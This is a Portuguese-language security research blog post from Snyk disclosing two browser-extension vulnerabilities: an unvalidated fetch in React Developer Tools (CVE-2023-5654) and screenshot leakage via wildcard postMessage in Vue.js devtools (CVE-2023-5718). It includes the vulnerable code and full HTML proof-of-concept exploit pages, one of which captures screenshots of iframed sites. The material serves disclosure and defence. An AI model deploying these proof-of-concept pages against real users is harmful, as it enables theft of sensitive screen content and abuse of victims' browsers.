Skip to main content

Explorando vulnerabilidades de segurança em WebExtensions no React Developer Tools e no Vue.js devtools

Escrito por
Headshot of Calum Hutton

Calum Hutton

blog feature toolkit

27 de novembro de 2023

0 minutos de leitura

Pesquisadores de segurança da Snyk realizaram uma pesquisa para entender melhor os riscos das WebExtensions, tanto os conhecidos (como XSS e injeção de código) quanto os mais específicos dessa tecnologia. Com a pesquisa, identificamos e divulgamos vulnerabilidades em algumas extensões populares de navegador: React Developer Tools e Vue.js devtools. Neste artigo, vamos explorar a tecnologia WebExtension e analisar as vulnerabilidades identificadas.

Breve histórico das WebExtensions

WebExtension é uma API para extensões de navegador que permite aos desenvolvedores criar extensões compatíveis com Firefox, Chrome e outros navegadores. Ela foi desenvolvida originalmente pelo Chrome e adotada pelo Firefox em 2017, após a remoção do suporte às APIs de extensão anteriores, XUL e XPCOM. Essas APIs eram poderosas, mas também menos seguras e mais difíceis de manter — fatores que levaram a equipe do Firefox a adotar o suporte a WebExtension.

Isso torna o ecossistema WebExtension especialmente interessante para pesquisas, pois encontrar uma vulnerabilidade em uma única extensão pode afetar muitos usuários de diferentes navegadores.

Arquitetura das WebExtensions

As WebExtensions são compostas por diferentes componentes, que podem interagir entre si por meio de mensagens. Cada componente da extensão tem acesso a APIs diferentes — isolar as APIs privilegiadas é uma das formas como as WebExtensions foram projetadas para aumentar a segurança:

  • Somente as páginas em segundo plano têm acesso a APIs sensíveis, e elas não podem acessar diretamente o conteúdo/DOM da página

  • Os scripts de conteúdo podem acessar o conteúdo da página, mas têm acesso limitado às APIs. O arquivo manifest.json define os componentes e as permissões necessários para a extensão, além de outros metadados. 

Diagrama mostrando o manifest.json conectado aos componentes da extensão do navegador: página em segundo plano, scripts de conteúdo, ações do navegador e da página, página de opções e acesso à web

Armadilhas das WebExtensions

As WebExtensions são intencionalmente menos poderosas que XUL e XPCOM para aumentar a segurança. Suas APIs são restritivas e há menos maneiras de comprometer acidentalmente a integridade da extensão ou do navegador. Ainda assim, as tecnologias usadas apresentam riscos inerentes, como XSS, injeção de código e outros. Nosso foco, porém, foram os riscos específicos das WebExtensions, e concentramos a pesquisa nestas três áreas:

  1. Mensagens externas não verificadas - Se a origem de uma mensagem externa (do navegador ou de outra extensão) não for verificada, agentes mal-intencionados podem realizar ações não autorizadas na extensão.

  2. Encaminhamento de mensagens externas não verificadas - Semelhante ao problema anterior, mas com o agravante de que a mensagem externa não verificada é encaminhada à página em segundo plano, podendo obter acesso indireto a APIs privilegiadas.

  3. Acesso não autorizado a APIs de captura de página - Algumas APIs retornam capturas de tela de abas ao solicitante, em dados codificados em base64. Se um agente mal-intencionado conseguir acessar esses dados, poderá roubar informações confidenciais.

Criação de um conjunto de dados

Como queríamos analisar WebExtensions em larga escala, nos concentramos em obter o código-fonte dessas extensões — uma combinação de JavaScript, HTML e CSS — no site de complementos da Mozilla. Com um script, baixamos as 150 extensões mais populares do Firefox. Os pacotes de extensão usam a extensão .xpi, mas, na prática, são arquivos compactados que podem ser descompactados e ter o código formatado, se necessário — algo que frequentemente foi preciso fazer.

Descobertas

React Developer Tools v4.27.8 (CVE-2023-5654)

Esta extensão React Developer Tools registra um listener de mensagens com window.addEventListener('message', <listener>) em um script de conteúdo acessível a qualquer página ativa no navegador. Dentro do listener, há um código que solicita uma URL derivada da mensagem recebida usando fetch(). Como a URL não é validada nem sanitizada antes da requisição, uma página mal-intencionada pode buscar URLs arbitrárias pelo navegador da vítima. 

Como o conteúdo da resposta não é retornado à página mal-intencionada, o impacto desse problema é limitado: por exemplo, não é possível obter recursos sensíveis disponíveis apenas para a vítima. No entanto, isso poderia ser usado para gerar cliques e, consequentemente, receita para agentes mal-intencionados, ou combinado com outros navegadores para realizar um ataque distribuído de negação de serviço (DDoS) sem o conhecimento ou consentimento das vítimas.  

Código

O trecho de código abaixo, resumido para facilitar a leitura, mostra o listener de mensagens do script de conteúdo extraindo a URL da mensagem potencialmente adulterada recebida e, logo em seguida, usando essa URL arbitrária diretamente em uma chamada fetch.

window.addEventListener('message', function onMessage({data, source}) {
  if (source !== window || !data) {
    return;
  }
  switch (data.source) {
    ...
    case 'react-devtools-extension':
      if (data.payload?.type === 'fetch-file-with-cache') {
        const url = data.payload.url; // URL from malicious webpage

        ...

        fetch(url, {cache: 'force-cache'}).then( // URL used in fetch
          response => {
            if (response.ok) {
              response
                .text()
                .then(text => resolve(text))
                .catch(error => reject(null));
            } else {
              reject(null);
            }
          },
          error => reject(null),
        );
      }
      break;
    ...

Prova de conceito

No aplicativo React de PoC abaixo, a API padrão postMessage() é usada para enviar uma mensagem criada para acionar a instrução switch acima quando alguém clica em um botão. Observe que o atributo source da mensagem é react-devtools-extension e o tipo é fetch-file-with-cache.

<!DOCTYPE html>
<html>
<head>
  <script src="https://unpkg.com/react@18/umd/react.development.js" crossorigin></script>
  <script src="https://unpkg.com/react-dom@18/umd/react-dom.development.js" crossorigin></script>
  <script src="https://unpkg.com/@babel/standalone/babel.min.js"></script>
</head>
<body>

<div id="mydiv"></div>

<script type="text/babel">
  function Hello() {
    return <h1>Hello World!</h1>;
  }

  const container = document.getElementById('mydiv');
  const root = ReactDOM.createRoot(container);
  root.render(<Hello />)
</script>

<script>
  function sendBrowserMsg() {
    let msg = {
      source: 'react-devtools-extension',
      payload: {
        type: 'fetch-file-with-cache',
        url: 'https://www.imdb.com'
      }
    }
    console.log(`Sending msg from browser: ${JSON.stringify(msg)}`);
    postMessage(msg, "*");
  }
</script>

<form>
  <button type="button" id="submit" onClick="sendBrowserMsg()">Go!</button>
</form>

</body>
</html>

Na prática, é provável que a página mal-intencionada envie mensagens automaticamente à extensão, sem exigir qualquer interação do usuário. Essa vulnerabilidade é um exemplo de mensagens externas não verificadas.

Vue.js devtools v6.5.0 (CVE-2023-5718)

Descobrimos que esta extensão Vue.js devtools vazava dados de capturas de tela para uma página mal-intencionada por meio da API padrão postMessage(). Para isso, bastava criar uma página mal-intencionada com um iframe direcionado a um site ou recurso sensível (como um arquivo acessível localmente) e registrar um listener na página. A extensão enviava mensagens para esse listener com os dados da captura de tela do site ou recurso sensível codificados em base64. Este é um exemplo de acesso não autorizado a APIs de captura de página. 

Era necessária alguma interação do usuário: as mensagens com os dados das capturas de tela só eram enviadas quando a vítima passava o cursor sobre as barras de linha do tempo na aba de linha do tempo:

Ferramentas de desenvolvimento do navegador mostrando o painel Timeline do Vue Devtools, com eventos de mouse, teclado e componentes, além de trilhas de desempenho

Há algumas limitações quanto aos sites sensíveis que a página mal-intencionada pode atingir: o site precisa permitir a incorporação em iframes (ou seja, o cabeçalho de resposta HTTP X-Frame-Options não pode estar presente ou precisa permitir explicitamente o site de destino). No entanto, descobrimos que outras abas com a extensão Vue.js devtools ativada também vazavam dados de captura de tela para a página mal-intencionada, aumentando a probabilidade de exposição de informações confidenciais. 

Código

O código abaixo mostra como a extensão usa um curinga na chamada da função postMessage() (*) para enviar mensagens aos listeners da página. É por isso que dados de capturas de tela de outras abas podem vazar. 

const bridge = new Bridge({
  listen (fn) {
    window.addEventListener('message', evt => fn(evt.data))
  },
  send (data) {
    if (process.env.NODE_ENV !== 'production') {
      console.log('%cbackend -> devtools', 'color:#888;', data)
    }
    window.parent.postMessage(data, '*')
  },
})

Prova de conceito

No aplicativo Vue.js de PoC abaixo, a API padrão window.addEventListener(‘message’ <listener>) é usada para registrar um listener na página mal-intencionada. A função setInterval() simula cliques regularmente na página de PoC, pois esses eventos (de mouse, teclado etc.) acionam as APIs de captura de página para gerar dados de captura de tela. A função handleScreenshot() verifica se cada mensagem recebida contém os parâmetros esperados e converte os dados de captura de tela recebidos, codificados em base64, em uma imagem incorporada à página de PoC. Na prática, os dados em base64 provavelmente seriam exfiltrados de forma silenciosa para um agente mal-intencionado.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>postMessage() PoC</title>
    <script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
</head>
<body>
    <div id="app">
        <iframe src="https://www.wikipedia.org" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden;"></iframe>
    </div>
    <script>
        const { createApp, ref } = Vue

        createApp({
            setup() {
                const message = ref('Hello vue!')
                return {
                    message
                }
            }
        }).mount('#app')
    </script>

    <script>
        function dummyClick() {
            console.log('Simulating click on PoC page..')
            document.body.click();
        }

        function listenForMsg() {
            window.addEventListener("message", (msg) => {
                console.log(`Got message in PoC page (window.addEventListener): ${JSON.stringify(msg.data)}, source: ${msg.source.location}`);
                handleScreenshot(msg.data);
            });
            console.log(`Added message listener (window.addEventListener)..`);
        }

        function handleScreenshot(data) {
            if (data.payload && data.payload.length > 0) {
                data.payload.forEach((event) => {
                    if (event.event === 'b:timeline:show-screenshot' && event.payload.screenshot) {
                        console.log(`Got screenshot with id: ${event.payload.screenshot.id}`);
                        let img = new Image();
                        img.src = event.payload.screenshot.image;
                        document.body.append(img);
                    }
                }, null);
            }
        }

        listenForMsg();
        setInterval(dummyClick, 1500);
    </script>
</body>
</html>

Reforce a segurança das suas WebExtensions

Agora que exploramos os possíveis riscos e benefícios das WebExtensions e apresentamos exemplos concretos de vulnerabilidades no React Developer Tools e no Vue.js devtools, você já pode começar a integrar a tecnologia WebExtension aos seus próprios aplicativos sem abrir mão da segurança. 

Acompanhar os riscos que surgem constantemente é um processo contínuo para todos os integrantes das equipes de desenvolvimento e segurança. Felizmente, a Snyk está aqui para ajudar. Nossa inteligência de segurança e nossas ferramentas de segurança para desenvolvedores ajudam você a se antecipar e proteger seus aplicativos contra riscos atuais e futuros. Comece gratuitamente hoje mesmo ou agende uma demonstração com nossos especialistas em segurança para saber mais. 

Adorado por desenvolvedores. Confiável para a segurança.

As ferramentas da Snyk, pensadas para desenvolvedores, oferecem segurança integrada e automatizada para atender às suas necessidades de governança e conformidade.

Leia mais

blog feature snyk container custom base recommendations
Blog

Conheça o Evo Agentic AppSec: segurança que acompanha o ritmo do desenvolvimento com IA

O desenvolvimento impulsionado por IA está avançando mais rápido do que os fluxos de trabalho de segurança tradicionais. O AppSec agentivo da Snyk usa agentes de segurança para encontrar, corrigir e verificar vulnerabilidades continuamente, enquanto as pessoas definem os critérios.

blog feature ai violet
Blog

VulnBump: agentes de IA conseguem corrigir dependências vulneráveis sem quebrar o build?

O VulnBump testa agentes de IA em 307 atualizações reais de dependências. Uma correção só é considerada válida se eliminar a vulnerabilidade e mantiver o build e os testes funcionando.

Blog

Modelos de ponta encontraram as vulnerabilidades. Só o atacante encontrou as cadeias.

A análise estática encontrou as falhas, mas só os testes de ataque em aplicações ativas provaram como elas poderiam ser encadeadas para causar invasões. Uma comparação entre Evo COS, Claude Security e Claude Code Security.